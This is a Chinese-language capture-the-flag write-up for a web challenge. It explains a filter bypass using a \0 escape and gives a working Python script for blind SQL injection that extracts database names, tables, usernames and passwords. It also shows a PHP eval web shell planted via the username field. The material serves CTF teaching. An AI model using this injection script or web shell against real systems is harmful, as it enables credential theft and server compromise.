题目首页是一个登录页面,尝试注入失败。抓包过程中发现了image和user两个PHP文件,image可以传id参数,但只有id为1、2和3时能显示图片,其他情况为空页面。
实在找不到可用信息以及hint,想到查看robots.txt文件,发现真的有。
User-agent: *
Disallow: *.php.bak
于是发现了image.php.bak。
<?php
include 'config.php';
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
可以发现image可以传递id和path两个参数,并可能触发SQL注入,前提是可以绕过对id和path的过滤。
接下来想办法绕过过滤,主要是破坏单引号,重点借助以下四行代码。
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
如何根据这几行代码破坏单引号呢,只能是用转义字符\或者单引号自己来破坏。但是用单引号一定会被替换掉,只能考虑\。
对于1,2两行代码,如果参数中有斜杠或者单引号会被在加上一个斜杠来转义。因此如果令id为\0,id会先变成\\0
。之后\0被替换掉,会剩下一个\,这样的话原SQL语句的结构就会变为:
select * from images where id='x'{$path}'
其中x是一个字符串了,x为:
\' or path=
接下来借助path的值可以进行SQL注入。
我在这里写了个脚本,需要注意的就是URL传递\0的时候在字符串中多加个\。此外由于单引号不能绕过,所以用到字符串比较的时候可以借助十六进制串来表示。
import requests
import time
#url是随时更新的,具体的以做题时候的为准
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 30
for l in range(1,length+1):
#从可打印字符开始
begin = 32
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
if r.content!=b'':
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
#酌情删除,毕竟一般库表列里都没有空格
if tmp==32:
break
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
#database 得到了是ciscnfinal,接下来用其16进制表示
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))
于是得到了admin的用户名和密码。
在首页进行登录,进入一个上传页面。
抓包的时候有提示说用户名写进了log.php,既然是写入PHP,我们就想到写入一个PHP木马。
<?php eval($_POST[a]);?>
但是提示不可以,不过将php标签中的php三个字符换成等号也是等价的。
用蚁剑或菜刀等工具连接即可得到flag。